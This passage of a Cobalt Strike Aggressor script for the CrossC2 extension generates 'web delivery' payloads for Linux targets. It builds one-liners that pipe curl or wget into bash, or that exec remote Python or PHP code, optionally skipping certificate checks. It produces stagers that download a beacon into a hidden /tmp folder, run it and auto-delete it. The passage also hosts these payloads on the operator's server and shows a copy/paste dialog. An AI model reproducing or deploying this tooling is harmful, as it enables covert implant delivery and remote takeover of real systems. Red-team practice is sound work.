289 | $bypassSSL = "-k";
290 | }
291 | $downloadURL = "curl -A O ".$bypassSSL." -o- -L ".$payloadContentURL." | bash -s";
292 | } else if ($type eq "wget") {
293 | $bypassSSL = "";
294 | if ($enableSSL eq 'true') {
295 | $bypassSSL = "--no-check-certificate";
296 | }
297 | $downloadURL = "wget -U O ".$bypassSSL." -O - ".$payloadContentURL." | bash -s";
298 | } else if ($type eq "python") {
299 | $downloadURL = "python -c \"import urllib2; exec urllib2.urlopen('".$payloadContentURL."').read()\"";
300 | } else if ($type eq "php") {
301 | $downloadURL = "php -r \"eval(file_get_contents('".$payloadContentURL."'));\"";
302 | } else if ($type eq "ksh") {
303 |
304 | } else if ($type eq "python2") {
305 |
306 | } else if ($type eq "python3") {
307 |
308 | } else if ($type eq "js") {
309 |
310 | }
311 | return $downloadURL;
312 | }
313 |
314 | sub genDownloadPayloadContent {
315 | local('$type $beaconUrl $payload $processName $targetSaveDir $targetSaveName $targetSavePath $type $payload');
316 | $type = $1;
317 | $beaconUrl = $2;
318 | $payload = "";
319 | $processName = $3;
320 | $enableSSL = $4;
321 | $autoDelete = $5;
322 |
323 | $targetSaveDir = random_string(5);
324 | $targetSaveDir = '.'.$targetSaveDir.'';
325 | $targetSaveName = $processName;
326 | $targetSavePath = "/tmp/".$targetSaveDir."/".$targetSaveName;
327 |
328 | if ($type eq "curl") {
329 | $payload = "mkdir /tmp/".$targetSaveDir.";";
330 | $payload = $payload." rm -f ".$targetSavePath.";";
331 | $bypassSSL = "";
332 | if ($enableSSL eq 'true') {
333 | $bypassSSL = "-k";
334 | }
335 | $payload = $payload." curl -A O ".$bypassSSL." -L ".$beaconUrl." -o ".$targetSavePath.";";
336 | $payload = $payload." chmod 755 ".$targetSavePath.";";
337 | $payload = $payload." ".$targetSavePath.";";
338 | if ($autoDelete eq 'true') {
339 | $payload = $payload." sleep 10;";
340 | $payload = $payload." rm -rf ".$targetSavePath;
341 | }
342 | } else if ($type eq "wget") {
343 | $payload = "mkdir /tmp/".$targetSaveDir.";";
344 | $payload = $payload." rm -f ".$targetSavePath.";";
345 | $bypassSSL = "";
346 | if ($enableSSL eq 'true') {
347 | $bypassSSL = "--no-check-certificate";
348 | }
349 | $payload = $payload." wget -U 'O' ".$bypassSSL." ".$beaconUrl." -O ".$targetSavePath.";";
350 | $payload = $payload." chmod 755 ".$targetSavePath.";";
351 | $payload = $payload." ".$targetSavePath.";";
352 | if ($autoDelete eq 'true') {
353 | $payload = $payload." sleep 10;";
354 | $payload = $payload." rm -rf ".$targetSavePath;
355 | }
356 | } else if ($type eq "python") {
357 | $payload = "import sys\nimport os\nimport time\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\n";
358 | $payload = $payload."os.system('mkdir /tmp/".$targetSaveDir."; rm -f ".$targetSavePath."')\n";
359 | $payload = $payload."r.urlretrieve('".$beaconUrl."', '".$targetSavePath."')\n";
360 | $payload = $payload."os.system('chmod 755 ".$targetSavePath."')\n";
361 | $payload = $payload."os.system('".$targetSavePath."')\n";
362 | if ($autoDelete eq 'true') {
363 | $payload = $payload."time.sleep(10)\n";
364 | $payload = $payload."os.system('rm -f ".$targetSavePath."')\n";
365 | }
366 | } else if ($type eq "php") {
367 | $payload = "system('mkdir /tmp/".$targetSaveDir."; rm -f ".$targetSavePath."');";
368 | $payload = $payload."\$c=file_get_contents('".$beaconUrl."');file_put_contents('".$targetSavePath."', \$c);";
369 | $payload = $payload."system('chmod 755 ".$targetSavePath."');";
370 | $payload = $payload."system('".$targetSavePath."');";
371 | if ($autoDelete eq 'true') {
372 | $payload = $payload."sleep(10);";
373 | $payload = $payload."system('rm -f ".$targetSavePath."');";
374 | }
375 | } else if ($type eq "python2") {
376 |
377 | } else if ($type eq "python3") {
378 |
379 | } else if ($type eq "js") {
380 |
381 | }
382 | return $payload;
383 | }
384 |
385 | sub checkCrossC2BeaconSite {
386 | local('$beacon_site_name $beaconURLMap $matchFlag');
387 | $beacon_site_name = $1;
388 | $matchFlag = "";
389 | %beaconURLMap = getCrossC2Site();
390 | foreach $key => $value (%beaconURLMap) {
391 | if ($beacon_site_name isin $value) {
392 | $matchFlag = $value[1];
393 | }
394 | }
395 | return $matchFlag;
396 | }
397 |
398 | sub getCrossC2BeaconSiteURL {
399 | local('$listener_name $beacon_site_name $listener $listener_padding $system_arch_padding $listener_name $system $arch');
400 | $listener_name = $1;
401 | $beacon_site_name = "";
402 | $listener = $null;
403 | if ("CrossC2 reverse HTTPS" isin $listener_name) {
404 | $beacon_site_name = "CrossC2 beacon: reverse-https";
405 | ($_, $listener_padding, $system_arch_padding) = split('\{ ', $listener_name);
406 | ($listener, $_) = split(' \}', $listener_padding);
407 | ($system, $arch, $_) = split(' ', $system_arch_padding);
408 | } else {
409 | $beacon_site_name = "CrossC2 beacon: bind-tcp";
410 | ($_, $_, $_, $_, $system, $arch) = split(' ', $listener_name);
411 | }
412 | $beacon_site_name = $beacon_site_name.' '.$system.' '.$arch;
413 | if ($listener) {
414 | $beacon_site_name = $beacon_site_name.' { '.$listener.' }'
415 | }
416 | return $beacon_site_name;
417 | }
418 |
419 | sub createCrossC2BeaconSite {
420 | local('$listener $beacon_site_name $lhost $lport $enableSSL $beaconData $targetSaveName $beaconUrl');
421 | $listener = $1;
422 | $beacon_site_name = $2;
423 | $lhost = $3;
424 | $lport = $4;
425 | $enableSSL = $5;
426 | $beaconData = listener_info($listener)['CrossC2Beacon'];
427 | $targetSaveName = random_string(10);
428 | if ($enableSSL eq 'true') {
429 | $beaconUrl = site_host($lhost, $lport, "/".$targetSaveName, $beaconData, "automatic", $beacon_site_name.'[https]', true);
430 | } else {
431 | $beaconUrl = site_host($lhost, $lport, "/".$targetSaveName, $beaconData, "automatic", $beacon_site_name.'[http]', false);
432 | }
433 | return $beaconUrl;
434 | }
435 |
436 | sub genCrossC2ScriptDialogCallback {
437 | local('$uri $lhost $lport $type $enableSSL $processName $listener $needCheckBeaconSiteName $payloadContent $payloadContentURL $scriptUrl');
438 | $uri = $3['uri'];
439 | $lhost = $3['lhost'];
440 | $lport = $3['lport'];
441 | $type = $3['type'];
442 | $enableSSL = false;
443 | $enableSSL = $3['enableSSL'];
444 | $autoDelete = $3['autoDelete'];
445 | $processName = $3['processname'];
446 | $listener = $3['listener'];
447 | $needCheckBeaconSiteName = getCrossC2BeaconSiteURL($listener);
448 | $beaconUrl = checkCrossC2BeaconSite($needCheckBeaconSiteName);
449 | if ($beaconUrl eq "") {
450 | $beaconUrl = createCrossC2BeaconSite($listener, $needCheckBeaconSiteName, $lhost, $lport, $enableSSL);
451 | }
452 | $listenerinfo = @($needCheckBeaconSiteName, $beaconUrl);
453 |
454 | # gen payloadContent
455 | $payloadContent = genDownloadPayloadContent($type, $beaconUrl, $processName, $enableSSL, $autoDelete);
456 | # host payloadContent
457 | if ($enableSSL eq 'true') {
458 | $payloadContentURL = site_host($lhost, $lport, $uri, $payloadContent, "automatic", "Script (".$type."-https) {".$listenerinfo[0]."}", true);
459 | } else {
460 | $payloadContentURL = site_host($lhost, $lport, $uri, $payloadContent, "automatic", "Script (".$type."-http) {".$listenerinfo[0]."}", false);
461 | }
462 |
463 | # gen payload
464 | $scriptUrl = genDownloadPayload($type, $payloadContentURL, $enableSSL);
465 | # add_to_clipboard($scriptUrl);
466 | prompt_text("Copy/Paste One-liner: ", $scriptUrl, {});
467 | elog("");
468 | elog("CrossC2 $type script: " . $scriptUrl);
469 | }
470 |
471 | sub getCrossC2Site {
472 | local('%beacon_site $beacon_count $Description, $Proto, $Host, $Port, $URI');
473 | %beacon_site = %();
474 | $beacon_count = 0;
475 | foreach $site_list(sites()) {
476 | ($Description, $Proto, $Host, $Port, $URI) = values($site_list, @('Description', 'Proto', 'Host', 'Port', 'URI'));
477 | if ("CrossC2" isin $Description) {
478 | $beaconURL = $Proto.$Host.':'.$Port.$URI;
479 | # 返回beacon_uri & beacon_description
480 | %beacon_site[$beacon_count] = @($Description, $beaconURL);
481 | $beacon_count += 1;
482 | }
483 | }
484 | return %beacon_site;
485 | }
486 |
487 | sub getCrossC2Listener {
488 | local('%beacon_listener $beacon_count');
489 | %beacon_listener = %();
490 | $beacon_count = 0;
491 | foreach $listener(listeners_local()) {
492 | if ("CrossC2" isin $listener) {
493 | %beacon_listener[$beacon_count] = @($listener);
494 | $beacon_count += 1;
495 | }
496 | }
497 | return %beacon_listener;
498 | }
499 |
500 | sub createCrossC2Script {
501 | local('@beaconSiteMenu @beaconListenerMenu %beaconListenerMap');
502 | @beaconSiteMenu = @();
503 | @beaconListenerMenu = @();
504 |
505 | %beaconListenerMap = getCrossC2Listener();
506 | foreach $key => $value (%beaconListenerMap) {
507 | add(@beaconListenerMenu, $value[0]);
508 | }
509 |
510 | $dialog = dialog("CrossC2 Web Delivery", %(uri => "/a", processname => "update", lhost => localip(), lport => "55413", type => "curl", listener => "", enableSSL => false, autoDelete => false), &genCrossC2ScriptDialogCallback);
511 | dialog_description($dialog, "");
512 | drow_text($dialog, "uri", "URI Path: ", 20);
513 | drow_text($dialog, "processname", "ProcessName: ", 20);
514 | drow_text($dialog, "lhost", "Local Host:", 20);
515 | drow_text($dialog, "lport", "Web Delivery Port: ", 20);
516 | drow_combobox($dialog, "type", "Type: ", @("curl", "wget", "python", "php"));
517 | drow_combobox($dialog, "listener", "CrossC2 Listener: ", @beaconListenerMenu);
518 | drow_checkbox($dialog, "enableSSL", "SSL: ", "Enable SSL");
519 | drow_checkbox($dialog, "autoDelete", "autoDelete: ", "auto delete");
520 | dbutton_action($dialog, "Build");
521 | dialog_show($dialog);
522 | }
523 |
--------------------------------------------------------------------------------